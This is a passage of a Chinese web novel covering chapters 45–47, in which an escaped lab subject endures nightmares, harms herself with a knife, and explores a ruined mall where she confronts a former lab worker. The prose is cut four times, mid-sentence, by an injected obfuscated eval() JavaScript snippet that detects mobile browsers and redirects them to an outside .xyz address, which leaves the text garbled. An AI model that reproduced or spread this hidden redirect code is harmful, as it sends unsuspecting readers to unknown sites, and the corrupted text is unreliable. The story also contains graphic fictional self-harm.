等兰落离开浴室的时候,桌上已经摆好了三碗饭,徐锦咬着筷子,不耐烦地等着。 “刚好可以吃饭了,”徐来风端着两盘菜,一荤一素,“坐下吃吧,家里东西不多,别嫌弃。” 兰落没客气,坐在徐锦对面,端起碗就吃。 徐来风的厨艺很好,兰落继恶心炸鸡之后就没再吃过东西,胃里空得可怕,不知不觉就干掉了一碗饭。 徐来风没说话,默默给她加了一碗。 徐锦不老实地戳着米饭,偷偷瞄兰落,满眼写着惊奇。 兰落没管她们,自己吃得饱饱的就放下了碗筷,没有半分帮忙洗碗的意思。 徐锦跟徐来风早就吃好了,见状抢着去洗碗,母女二人端着空盘子挤在一起,左一下右一下洗着碗。 兰落坐在原位消食,一点都不觉得不好意思。 明天她会留钱给她们,就当做住民宿了。 “你的女儿不需要上学吗?” 兰落坐在椅子上,看着拨弄草药的徐来风。 徐锦去洗澡了,客厅里只剩下她们两个。 听到这话,徐来风笑了笑:“细鬼城没有学校,之前她年纪小,都是我在家里教她认字。打算过一两年,我再想办法送她去其他城市读书。” 兰落点头:“为什么不直接移居呢?你们应该不是黑……有合规的身份证明吧。” 她本来想说“黑户”,想了想又换了个措辞。 像未城、白城之类的城市,只要有合规的身份证明,想要移居还是很方便的,只不过办手续需要花一点时间和钱。 徐锦看上去已经是上小学的年纪了,徐来风应该不会为了省这么点钱不让徐锦上学吧? “我在细鬼城长大,”徐来风嗓音幽幽,“对这里感情很深,去了别的地方,怕不习惯。” “那再过几年你不还是要跟徐锦离开?”兰落状似不解。 徐来风摇摇头:“把她安顿在那边就够了,我继续留在这里。” “为什么?” “每个人都有自己的牵绊。” 徐来风说完,带着草药进了厨房,单方面结束了这场谈话。 每个人? 不见得吧。 兰落眼神直勾勾盯着厨房,没继续问下去。 她心里已经有了猜测,这个徐来风和实验室那边,一定有关系。 否则没有任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033300|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理由能让她坚持留在这个鸟不拉屎的地方。 兰落不再多想,进了徐来风留给自己的空房间,反锁上房门。 她把玻璃杯扣在门把手上,又把窗户牢牢锁住,窗帘也不留一丝缝隙,这才放心下来。 做完这些,兰落又打开衣柜和床头柜,把所有能藏东西的地方都打开,检查了所有的角落,包括床底,确认没有异常才将所有物品复原。 至于肉眼观察不到的东西,她也没办法了。 兰落不太信任这对母女,但好好的床,不睡白不睡,她前阵子风餐露宿,已经快活成野人了。 睡前,她也不忘把匕首握在手里,用被子做遮掩。 兰落自从离开实验室,已经养成了武器不离手的习惯,哪怕睡得再沉也不会脱手,为的就是遇到突发情况能及时应对。 也许是今天闻到了草药的味道,兰落罕见地梦到了实验室。 她站在鸽子笼外面,鼻尖都是淡淡的草药香,花子躺在鸽子笼里,满身血窟窿,瞪着眼睛没有生息。 “呜呜呜……” 有人在哭,哭声轻飘飘的,绕着兰落的耳朵忽远忽近。 她走近一步,穿过墙摸到花子,然后整个空间就开始崩塌。 兰落面无表情地看着被撕裂的空间,她知道这是梦,她很清醒。 下一瞬,她就再次来到了断头台,上一次的画面重复上演。 哀嚎的人群被雨水腐蚀,扭动着身子被砖石砸成一块块烂泥,碎肉飞溅,血花飙了满墙。 兰落没有感觉,这只是个梦,梦里一群傻子,不会躲雨,更不会躲石头,只会张着嘴“神啊神啊”地叫。 但是—— 兰落跪在地上,捂住刺痛不止的心脏,霎时间天旋地转,几乎要把心脏从食管中呕出来,嗓子里满是胃酸反流的辛辣。 “呕!” 痛! 好痛! 兰落的意识漂浮在半空,人在床上不断翻滚蠕动挣扎着,指甲在胸口刮出一道道血痕,指缝里全是硬生生刮下来的皮肤组织。 她脖颈上青筋暴起,整个人像从水里捞出来的一样从头湿到脚,冷汗一颗接一颗滚落,打湿了床单。 为什么!为什么这么痛! 兰落死死咬住唇,仍然有痛苦的呻吟泄出来,她的意识已经开始涣散,双眼微睁,眼睛里没有一点神采。 “神啊!神啊!” “你不要让我苟活!” “我不要——!” 崩塌的大厦下,歇斯底里的尖叫几乎要突破兰落的耳膜,她逐渐分不清现实与梦境,似乎自己变成了巨石下的一滩肉泥,只剩半张嘴巴徒劳地哭喊着: “神啊!神啊!” 恍惚间,兰落感受到脊骨被压碎,双腿被碾断,她变成一条蠕动的软虫,在暴雨中扭动。 就像撒了盐的软体虫,挣扎着、扭曲着,变成一摊粘稠的血水。 兰落疼着疼着,意识逐渐回笼,她眯着眼睛,清楚地感受到自己所有的疼痛都来源于心脏。 她的手脚都好好的,躯干也没有被压烂,更没有滂沱的腐蚀雨在她身上砸出暗红的窟窿,耳边的哀嚎逐渐消失。 断头台断头台断头台! 为什么总是断头台! 兰落死死抠着胸口的皮肤,右手高举,雪亮的匕首即将刺入胸膛。 “啪——!” 玻璃杯碎裂,门把手被扭动。 45. 告诫 门把手上的玻璃杯掉落在地,发出清脆的响声。 兰落手上的动作顿了顿,努力聚焦视线看向被扭动的门把手。 门被她反锁了,从外面打不开。 兰落坐起身,四肢都在颤抖。 她的前胸后背已经汗湿,胸前的衣服上甚至有不明显的血迹,那是她痛到极致时无意挠破的伤口在渗血。 兰落翻身下床,下一秒就无力跌倒在地。 “做什么?”她强装正常,压着嗓音问。 门外传来徐来风模糊的嗓音:“你怎么了?我听到你在喊疼,怕你出事。” “没事。”兰落掐着自己大腿上的肉,故作冷静。 徐来风安静了几秒,然后声音大了一点:“真的没事吗?” 兰落仰面躺在地上,已经不想回答,但为了赶走她,还是压着不耐烦开口:“没事,别进来。” 门口没再传来动静,徐来风的脚步慢慢远了。 兰落长长呼出一口气,咬着下唇在地上翻滚两圈,握着拳头捶自己的胸口。 别疼了! 她就知道没那么容易! 之前虽然心脏也会痛,至少都在她的忍受范围之内,但来了细鬼城之后,心脏痛起来就无法无天了,刚刚她甚至直接有了死亡的感觉。 在断头台下,身临其境的死亡。 这到底是为什么? 兰落捡起匕首,再一次对准自己的胸口。 实在不行,她就把兰升的心脏剥出来,等搞明白了再装回去。 如果每天都这么疼的话,兰落不敢保证自己会不会哪一天直接死在路上,或者被实验室抓回去。 兰落双手握着匕首,指腹刮过形状贴合质地良好的刀柄,昏沉之中,在刀柄最底部摸到了一小块凹凸不平。 这块地方她不用看都知道,是一个“肃”字,藏在最不起眼的地方,小到必须凑近才能看得见。 兰落甚至是用了一段时间才发现这个名字的,本来打算把它毁了,但这段时间精神一直紧绷着,就没想得起来这件事。 用这些小事转移着注意力,兰落的匕首已经划进了皮肤,刀尖嵌入胸口一厘米,鲜红的血丝沿着伤口缝隙挤出来,连成一条血线。 兰落额头满是冷汗,双手用力握住匕首,闭着眼睛就要继续往下捅。 “咔哒——咔哒——” 几声门锁旋转声突兀响起,兰落侧头,与正推开门的徐来风四目相对。 房间门被拉开一条不大的缝隙,徐来风站在门外,略显局促地从门缝看兰落。 “你……” 徐来风下意识解释,但看到兰落现在的状态后,她的眼睛一下子瞪大了,话也卡在嗓子里。 兰落抽出匕首,放任伤口出血,刀尖对准徐来风:“出去。” 都说了不要进来,这人听不懂话吗? 还是说,她就是想要在自己虚弱的时候趁虚而入? 想到这,兰落的眼睛暗了暗,挣扎着从地上坐起来,扶着床板站了起来,和徐来风隔着一道门板对视。 “我说,出去。” 站起身,兰落又重复了一遍。 徐来风站在门边没动,眼睛里有着不知道是真是假的惊恐,在原地攥着钥匙没动:“不好意思,我听到你这里有动静,怕你是因为没力气开门,有点放心不下,所以找了钥匙想来看一下。” “不需要。”兰落冷淡开口,“我没事。” “你……没事?”徐来风扫了扫兰落胸口的血渍,语气里充满不信任。 她试探性地前进半步:“小锦睡着了,你先让我进来把门关上,不要吵到她,可以吗?” “出去!”兰落压低嗓音,满脸不耐烦,左手无意识抠挖着胸口的伤。 伤口的疼痛可以转移心脏里的痛意,让她暂时从剧烈的心脏疼痛中抽离出来,保持短暂的清醒。 徐来风举着双手,继续向前:“你别担心,我有一点治愈系异能,如果你需要的话……” 兰落的眼前又开始模模糊糊地出现断头台,她终于忍无可忍,一把冲上去,把匕首架在徐来风的脖子上: “不需要,滚出去。” 她声音虽然轻飘飘的,但手上的力气很大,轻而易举就逼退了徐来风。 徐来风面上没有怒意,只有一点惊吓:“我知道了,你冷静一点。” 可能怕兰落做出过分的事,徐来风左右看了看,视线掠过紧闭的主卧门,轻声细语:“我不靠近你,你别自残,好好休息。” 兰落没说话,也没有放轻手上的力道,匕首一直架在徐来风脖子上。 徐来风举着手,一步一步试探性地后退,直到彻底退出匕首的伤害范围,才长舒一口气转身快速跑进了主卧。 兰落目光微微涣散,虽然眼前已经没人,但依旧举着匕首,过了十几秒才慢慢放下。 “神!神啊!神——!” 凄厉的女声几乎要刺破兰落的耳膜,她在恍惚中,看见一个下半身稀烂的人影,正在大厦外爬行,染血的嘴巴里不断发出尖叫: “神啊——永生——!” “无法安息的魂啊——永生——!” 兰落跪在地上,用最后一丝理智摸索着爬回了房间锁上门,然后无力地倚着门板,渐渐闭上了眼睛。 失去意识的前一秒,凄厉的女声变得低哑,兰落听见她不停喃喃: “我不要,永生……” 等她再次醒来,门外已经充斥着徐锦有气无力的念书声和厨房里锅碗瓢盆碰撞的声音。 兰落低头看了一眼,她的胸口已经愈合了,除了衣服上的血渍,没有任何东西能证明昨天夜里她差点把自己开膛破肚。 听着外面乱糟糟的噪音,兰落盯着天花板,开始回忆自己昨天梦到的情景: 刚开始是实验室和花子,与她有关; 然后是断头台和陌生人,与她没有关系。 断头台…… 兰落站起身,活动了一下僵硬的四肢,脱掉身上脏兮兮的衣服,换回了自己的衣服。 ——准确来说不是自己的,是黑夹克的。 她昨天洗完澡顺手就把衣服洗了,到现在早就干得差不多了。 至于徐来风的旧衣服,兰落打算直接折成现金给她。 数好钱,兰落打开房门走了出去。 徐锦坐在餐桌旁,捧着一本彩色童话书,看到兰落,抬头看了她一眼,没打招呼。 兰落洗了把脸,嚼着便携式口腔清洁糖,也没有搭理她们母女二人。 徐来风没多久就端了一锅清汤面过来,看到兰落,像没事人一样招呼她:“你还好吗?吃点早饭吧。” 兰落没坐,从口袋里掏出钞票,数出五张,放在桌子上:“不用了,多谢招待,但我现在要走了。” 徐锦把头埋在童话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046463|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书里,瞪着眼睛看钱。 徐来风一把抓住钱,要往兰落手里塞:“举手之劳而已,我们不要你的钱。” 兰落没接,转身就走。 “那个!” 徐来风突然叫住她。 兰落以为她还要为了这五百块钱跟自己争论,头也不回就往外走。 “你的身体不太好!” 徐来风追上来几步,用笃定的语气说。 兰落顿住脚步,回头看她:“所以呢?” 昨天晚上她那副样子,只要有眼睛的人都能看出来她的身体“不太好”吧。 徐来风回头看了看徐锦,又凑近兰落两步,声音小了一点:“我觉得你应该稍微重视一下你自己的身体状况了。” 兰落后退半步,眯了眯眼睛:“我很重视。” 她没骗人,要是不重视自己的身体,她就不会逃出实验室,更不会想方设法拿到兰升的心脏。 现在也只差一步了,只要成功完成融合,她的身体就能真正实现百毒不侵刀枪不入了。 “不。” 徐来风摇了摇头:“我没有骗你,我有治愈系异能,可以稍微看见一点人体内生命能量的流动。” 兰落挑眉,她隐约记得昨晚徐来风好像就提过自己的治愈系异能,只是她当时没力气理她。 虽然不知道徐来风想做什么,但她敢直接说出自己的异能,兰落并不觉得惊讶。 治愈系异能在大多数地方都比较受追捧,数量也不算稀少,只不过能力的高低差异很大罢了。 甚至在未城,许多人家都会期望自家孩子能觉醒出治愈系异能,因为这代表着他们大概率不需要风餐露宿付出体力劳动,掌握好治愈能力就有很大的挣钱机会,无论是行医还是给有钱人做医疗团队,前途都比打打杀杀的更安稳。 “生命能量?” 兰落重复了一遍,语气里带着疑问。 她对这个说法有所耳闻,听说有部分人就会利用治愈系异能者的这项能力来识别对手或者从事搜救活动。 据说他们发动异能的时候,眼睛里可以看见普通人看不到的生命能量,从而观察病人状况,对症下药。 徐来风点了点头:“是的,类似于……透视吧,可以透过皮肤看到你的血管和骨骼之类的。” “你的身体……”徐来风犹豫着,“不太对劲。” “你的经脉很乱,血液的流动也没有规律,虽然表面看不出什么,但内在已经非常紊乱。用通俗的话来说,有点爆体而亡的前兆。” 兰落昨晚已经感受到了,她疼成那样,确实离爆体而亡不远了。 她不知道徐来风为什么要对她说这些,明明出了这个大门之后,她们就毫无关系了。 她要么善良得可怕,要么另有所图。 无论是哪种,兰落都不想有过多的牵扯,更不想把两颗心脏的事暴露在可能和实验室有关系的徐来风面前。 “我知道了,多谢提醒。”她冷淡点头,转身要走。 “细鬼城有很多不方便透露身份和来历的人,我能理解你有顾虑。” 徐来风没挽留,只是在兰落推开门的时候轻声说: “但你切记,不要去断头台附近。” 回答她的是兰落反手关门的背影。 兰落在原地站了一会儿,然后就迈开腿,朝着一个方向快步走去。 她要进入断头台。 46. 笔记 天色有点早,整个细鬼城格外寂静,兰落走在路上,脚步声也下意识放轻了一点。 徐来风特意提醒她不要去断头台,可她偏偏就要去断头台看一看。 她倒要看看,自己到底是为什么频繁梦到这栋楼,又为什么对幻觉里的疼痛感同身受。 兰落也知道不可能去一趟就解决问题,但不去的话,她的心里总是萦绕着疑虑和焦躁,必须亲自探索一次才能放心。 只是,不知道徐来风是单纯提醒她,还是知道点什么所以故意诱导她。 兰落倾向于后者,她不相信在细鬼城这种没有规章制度的散城里长大的女人,会善良博爱且无私到这种地步。 不过万一真是随口说的,那徐来风的直觉可比楚知的半吊子预知能力强多了。 想到楚知,兰落又开始满脑子想人犬的问题。 为什么这几天没有人犬跟着她了? 是因为她把枪扔了吗? 如果陆观培养的人犬大军因此失去作用,兰落是真的要疯狂嘲笑这群蠢货了。 怕只怕他们还有她不知道的后手。 兰落收回心思,在断头台前站定,仰着脑袋看楼顶。 和幻觉里的不同,现实中断头台的顶部已经损毁了,爬山虎和各种老藤爬满了墙体,顺着破裂的玻璃钻进窗户,盘踞在楼体内部。 兰落看了一会儿,心有余悸地摸了摸自己的大腿和脑袋。 梦做多了,她现在看到断头台都有些心慌,总感觉下一瞬就要被砸成烂泥了。 兰落凑近仔细看墙上的涂鸦,幻觉里也没有涂鸦,它们应该是在断头台损毁后出现的。 她用指腹狠狠抹了一下,涂鸦油漆很牢固,一点都没被破坏,只有一层灰包裹在手指上。 断头台一楼的窗户早就没了玻璃,像一只巨大的黑色眼睛,一眨不眨地盯着兰落。 藤蔓蜿蜒着从各个窗户钻进去,潮湿阴黑的空气扑打在兰落脸上,激起阵阵鸡皮疙瘩。 兰落左右看了看,断头台附近一个人都没有,安静得像坟场。 她聚精会神听了一会儿,没听见有什么动静,于是单手撑着窗户边缘,轻松翻进了断头台的一楼。 兰落半蹲在窗户下面,鼻子里都是细小的灰尘,呛得她差点打了个喷嚏。 胡娇芬那招就是从这学的吧。 兰落腹诽着,捂住口鼻贴着墙走。 断头台已经没了顶,所以清晨微弱的阳光能从房顶上透进来,楼体内部的中心有很大一块地方是亮着的。 但所谓灯下黑,正因为这些地方有点光源,墙根儿的角落反而更黑了,兰落贴在墙角,身形一点都没暴露。 她的视力很好,可以比普通人更好地观察到一楼的景象。 兰落撇开一簇藤蔓,观察了一下周围。 旁边的墙烂了一个大洞,粗壮的钢筋像骨架一样戳在中间,边上有块摇摇欲坠的牌子。 牌子早就被腐蚀得看不清字,兰落眯着眼睛,根据上面模糊的指示小人判断出这是一块路牌。 断头台,也许曾经是个商场之类的公共场所? 兰落有些记不清梦里的断头台都有些什么细节了,只记得光亮恢宏,人潮涌动。 现在也只剩一具破败的空壳了。 她稍微回忆了一下,基本能够确定断头台曾经是个商场了。 在幻觉里,那些大呼小叫的人群周围散落着不少购物袋,有些人身边甚至有奶茶冰淇淋,和兰落在未城逛商场的样子差不太多。 之前只顾着疼,根本没注意到这些细节,亲身来到这里之后,兰落才慢慢想到这些无关紧要的事情。 她摸索着找到一扇半开着的门,凭借自己对商场构造的理解,闪身钻了进去。 按照兰落对商场构造的认识,这种刷漆的木门后面大概率是员工通道,四通八达,阴暗无光。 一楼大厅虽然没人,但实在空旷,很多地方都比较亮,偶尔还会路过巨大的窗户,让她非常没有安全感。 狭窄昏暗的员工通道才更让人安心。 兰落试探性地往前走,这里的地板有些轻微的凹凸不平,像是被堆积起来的陈年油污得不到处理,逐渐风干贴在地上。 员工通道伸手不见五指,兰落视力好,能勉强看见轮廓,硬着头皮往前摸索。 她的心脏自从进了断头台就有些不受控地跳着,时不时刺痛一下,但疼痛程度远远低于前几次。 为什么进来了反而不太疼? 兰落摁了摁心口,屏息凝神慢慢走,时刻观察着任何可能藏人的地方。 这样的废弃建筑,很容易引来拾荒者或是敲诈勒索的团伙,比如胡娇芬,再比如黑夹克和白短袖。 前面隐隐出现了一个小小的光源,应该是员工通道中为数不多用来透气的窗户了。 窗户开了一半,玻璃上满是厚厚的灰尘,原本透明的窗户已经脏成了灰褐色,阳光只能从那半边开着的窗洞里照进来。 兰落顺着光线往下看,阳光照亮了满地的污垢,整个员工通道肮脏又破败。 她凑近那一小块亮着的地板,蹲下身仔细观察了一下,地上有一块干涸的褐色痕迹,看起来像是血迹。 兰落垂下眸,搓了一下这块斑驳,褐色就褪去了一点,显露出底下暗红发黑的血渍。 陈年血块和灰尘交织在一起,才有了这种褐色的斑驳。 兰落之所以第一时间判断出这是血,是因为血块的旁边,有一小截骨头。 一根完整的,人类手指的骨头。 她在裤子上用力擦了擦手,没碰那截指骨,回头看了眼。 可能是盯着光源看太久,回头看黑暗的地方时,兰落明显有些不适应,眯着眼睛等了一会儿,视线里才模模糊糊显现出员工通道幽深的轮廓。 她摸出通讯器,捣鼓了一下,确认四下无人,才点开手电筒调到最亮。 这通讯器虽然有点过时落后,但手电筒的功能竟然意外地强大,整个通道一瞬间被照亮,没有任何死角。 兰落开了几秒钟,就把手电筒关上了。 不出她所料,刚刚她脚下一路踩过来的,不是什么陈年油污,而是和刚刚那块褐色血迹一样的陈年血块。 这些久远的血迹已经没有浓烈的味道,在灰尘的掩盖下也不显得可怖,即使很多地方能隐约看出是不规则的人皮和人骨,兰落也没有害怕的意思。 她在幻觉里都已经直面了这些人被砸成烂泥的实景,又怎么会怕这些遗留下来毫无威胁的痕迹。 虽然大脑毫无波澜,但兰落的心脏还是在不受控地跳动,甚至有愈演愈烈的趋势。 她已经有经验了,这似乎就是陷入疼痛和幻觉的前兆。 兰落撑着墙,一动不动地等心脏缓过去。 熟悉的疼痛蔓延, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057415|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的眼中开始出现肉泥和断肢,血液喷溅,人群哀嚎。 只是下一瞬,这一切就消失了,一个下半身稀巴烂的女人,一边嚎叫一边爬进了断头台。 兰落很清醒,用居高临下的视野看她狼狈蠕动,哭嚎着求神救她。 神? 兰落目光毫无波动,她现在的视角,倒是很像神。 一个旁观的神。 女人披头散发,有很多头发已经被腐蚀掉,露出受伤的头皮,皮肤上也到处都是被腐蚀出来的坑洞。 兰落有些惊讶,现在的腐蚀雨,无论如何也没有这种威力,是这个女人遇到的雨水太强烈,还是说她的身体太差了? 没人能回答这个问题,女人只是哀嚎着爬行,钻进了员工通道,顺着通道一直向前爬行,直到来到一扇小门前。 兰落的目光随着她转动,亲眼看着她打开小门,露出里面的拖把等东西。 是个杂物间。 杂物间很昏暗,女人却轻车熟路,径直从角落掏出了一本黑色皮质封面的厚本子。 她不哭了,埋着头在上面写写画画,身子不停颤抖着。 黑灯瞎火的,能看得清自己写了什么吗? 兰落的思维有些发散,意识渐渐开始飘忽,心脏也恢复了正常的跳动频率。 她眨眨眼,眼前是熟悉的昏暗员工通道,让她甚至无法第一时间分辨出这是现实还是幻觉。 兰落抬头,看见透着亮光的小窗,确定了自己已经恢复正常。 她摸了摸心脏,还好,不是很疼。 这些看似混乱的幻觉,似乎冥冥之中一直在指引她。 先是用各种幻觉逼迫她来到断头台,又暗示她这个女人和那本黑色笔记本的存在。 难道现在是要她去看那本笔记本? 兰落不抗拒这件事,她只是想不通,自己的心脏与这件事的关联之处是什么。 她和兰升都是在未城出生长大的,别说他们了,就连兰父兰母都不一定离开过未城,细鬼城的一切,和她根本没有任何关系。 “来都来了。” 兰落面无表情呢喃一声,迈开步子开始找杂物间。 如果真的和心脏有关系,能让她找到融合不死之力的办法,那兰落很乐意掺和一下这些陈年旧事。 员工通道有很多曲折的岔路,为的是让员工快速通往自己店内,所以不熟悉的人走起来会格外费力。 幻觉里的女人倒是轻车熟路,也许她也是断头台前任员工之一。 兰落按照刚刚幻觉里记下来的路线,很容易就找到了那间杂物间。 杂物间的门大开着,上面的表皮已经脱落,甚至有点发霉。 兰落凑近,打开手电筒,照亮狭小的空间。 杂物间里依旧堆着拖把和小桶,像固定搭配的背景板一样,但那本黑色笔记本却不见踪影。 兰落敲了一下杂物间的侧壁,是实心的,应该没有暗格。 搞什么,笔记本去哪了? 兰落耐心不多,被幻觉摆了一道又一道,心情已经开始烦躁了。 用手电筒仔仔细细照了每个角落,兰落都没有发现笔记本的存在,周围的地面上也没有本子的痕迹。 那女人换地方藏了? 还是被其他人拿走了? 兰落正叉着腰思考,耳边忽然传来细微的动静。 ——有人! 47. 问话 ——有人来了! 兰落第一时间熄灭手电筒,竖起耳朵仔细听了一下,的确有轻微的脚步声,听起来甚至并不远。 人的脚步声不可能凭空响起,兰落也不相信自己的耳朵这么差,连有人靠近都听不出来。 所以这脚步声从哪来的?为什么突然出现? 她把通讯器塞回口袋,闪身躲进了杂物间,靠着墙壁站稳。 兰落没关杂物间的门,一来这门多少年没用过了,如果一碰就嘎吱嘎吱乱响,她就直接暴露了。 另一方面,这脚步声听起来并不急促,所以她猜测来人对这里可能比较熟悉,让门保持着原来的样子反而不容易引起怀疑。 兰落贴着墙,掏出匕首,仔细注意着脚步声的远近。 近了…… 又近了…… 兰落举起匕首,聚精会神。 脚步声更近了…… ——然后停了。 脚步声堪堪停在杂物间几步远的地方,兰落担心自己已经被发现,不敢懈怠。 “咦?” 疑惑的声音出现,兰落瞪大眼睛,听着耳边略显熟悉的男声。 “怎么回事?” 祝见尘拍了拍衣服:“这里好脏。” 怎么会是他? 兰落有点惊讶,思考过后又觉得十分合理。 祝见尘本来就在细鬼城,而且能神不知鬼不觉凭空出现,所以刚刚她才会突然听到脚步声。 她早就知道了,祝见尘的异能应该和空间有关。 他在基地的时候经常凭空变出头绳之类的东西,那次叶飞和面包怪起冲突的时候,他也是这样不声不响出现在兰落身后。 “早知道换个地方……” 祝见尘自言自语着,拍完衣服上的灰尘又开始缓步向前。 兰落听着脚步声,皱着眉头犹豫了几秒。 她要不要出手? 放他走的话彼此都没有损失,但兰落担心他对自己先下手,也确实对他和叶飞的出现非常怀疑。 她想捉他,但祝见尘这个人从来没有展露过自己的实力,她怕自己能力在他之下,反而被制裁。 即使逃出实验室的时候,祝见尘帮过自己,但兰落依然不信任他。 和陆观是亲兄弟,又在实验室工作,他们的立场本来就是对立的,上一次他心情好放了自己,这一次就很有可能心情不好再抓她回去。 兰落思考的间隙,祝见尘的脚步已经来到了门边,即将出现在她的视线范围之内。 她咬了咬唇,不再犹豫,趁自己在他的视野盲区,暂时有着地理位置的优势,直接冲出了杂物间,一手持刀,一手直取祝见尘的喉咙! “啊!” 祝见尘惊呼一声,想要后退,但兰落动作太快,没有给他反应的时间。 她直接掐住了祝见尘的脖子,把人狠狠压在墙壁上,匕首抵住他的脖子。 兰落气息有些不稳,她刚从心脏的疼痛中缓过来,张了张嘴,没有第一时间发出声音。 事发突然,她还没想好从哪开始问。 “兰……”祝见尘先开口了,“呃,是你吗?” “是你吧?!” 他突然高兴起来了。 兰落没回答,目光在祝见尘的脸上徘徊。 他们之间的距离很近,兰落可以勉强看清祝见尘的表情,她一边观察他的神色,一边压低声音说道:“你和叶飞为什么在细鬼城?” “叶飞?” 祝见尘重复了一遍,然后恍然大悟一般:“你怎么知道叶飞也在?我就知道,上次我的感觉是对的!” “什么感觉?” 兰落问完就后悔了,她被祝见尘带偏了,这都不是重点,重点是他们为什么出现在这里,基地和细鬼城有什么关系。 祝见尘已经自顾自回答了起来,姿态放松,一点都不在意脖子上的匕首:“上次,在一个光头开的快餐店里,我就总感觉冥冥之中有股视线,没想到真的是你。” 兰落没有回答这个问题,耐下性子重复问:“我问你,你和叶飞,你们为什么会在这里?这里是不是有其他基地?” 祝见尘怔了一下:“什么?” “你不知道吗?”他一脸茫然,“这里是陆氏实验室的分基地之一啊,甚至比未城基地建立得还要早一些,只不过地方太偏僻所以慢慢被边缘化了。” 兰落手上的力气下意识送了一瞬,反应过来后又迅速收紧。 她猜对了,这儿还真是基地之一。 跑了半天,跑回实验室老巢了。 “我还以为你是故意来分基地的。”祝见尘看了看她的脸色,越说声音越小。 兰落一脸莫名其妙:“我是智障吗?你为什么觉得我会故意跑到实验室,跑来送死吗?” “你……” 祝见尘说不出话,“哼”了一声安静下来。 一如既往神经病。 兰落用匕首拍了拍他的脸,开始威胁他:“先把你知道的事情都告诉我,敢骗我我就弄死你。” 祝见尘瞥她一眼,无视顶在脖颈的匕首,闲散得像在唠家常:“有没有可能,其实你不弄死我,我也会告诉你的……” “那就赶紧说。”兰落异常冷酷。 “细鬼城的基地,”祝见尘深吸一口气,“具体存在了多久我也不知道,我只知道未城的基地就是在它的基础上建立的,但细鬼城你也看见了,太偏太穷,没办法发展,所以这个实验室也是陆氏名下最偏最小的一个。” “唯一的好处就是天高皇帝远,没人管得着,尤其陆观那个怕死鬼,是根本不可能来这里的。” 兰落心里松了一口气,但不多。 知道陆观不会来这里,她竟然像打工人得知领导出差一样暗喜了一下,足以证明他有多令人讨厌了。 祝见尘看着她,一脸自然:“他不来你很高兴?” 兰落没在意,她大概了解祝见尘,知道他就是个死猪不怕开水烫的性子,自己别说拿刀威胁他,就算用枪顶在他太阳穴,也不见得他能认真起来。 “你不高兴?”她不答反问,“少问这些废话,说点有用的,比如叶飞。” “我有什么不高兴的,我可高兴了。” 祝见尘嘟囔两句,老实回答:“叶飞不是跟面包怪打架嘛,被陆观罚了,好像扣了点钱,又贬到细鬼城来了。” 兰落都快忘了这回事,要是严格来说,面包怪其实是被她弄死的,但弄死一个无关紧要的贱货而已,不值得铭记在心。 叶飞多少算是被她坑了,不过兰落并不心虚。 她们这种研究员,就算背上无数口黑锅,处境都要远远好于她这样的实验体,她没那么多闲心去愧疚。 “贬?”兰落出声嘲讽,“陆观还真拿自己当皇帝了。” “就是就是。” 祝见尘小鸡啄米一样点头附和,兰落的刀甚至都要划破他的脖子。 “老实点!”兰落用刀背敲了敲他的脖子。 祝见尘不动了,安静几秒,突然开口:“你现在还那样吗?” “哪样?”兰落正在思考徐来风和他们又没有关系,闻言下意识问。 “就是……” 他支支吾吾的,半天都没说出个所以然。 兰落没耐心了:“说说你为什么会出现在这里,也是被贬?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068003|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊……”祝见尘继续支支吾吾,“也算吧。” “其实还是因为你呢。” “我?”兰落有点猜到了。 祝见尘点点头,脸上没什么指责的意思,似乎“被贬”也不是坏事:“对啊,他们说你逃走了我占大部分责任,不让我待在未城了,让我来这里吃吃苦。” “谁说的?还挺公道。” 兰落罕见地开了个玩笑,她逃走明明是她自发的行为,他们竟然把过错算在了祝见尘头上,让她放松之余有种微妙的不悦。 就好像,他们并没有把她当做一个有大脑有行动力的正常人。 如果一只猫一只狗或者一只耗子跑了,没人会说耗子有问题,只会责备看管的人看管不力。 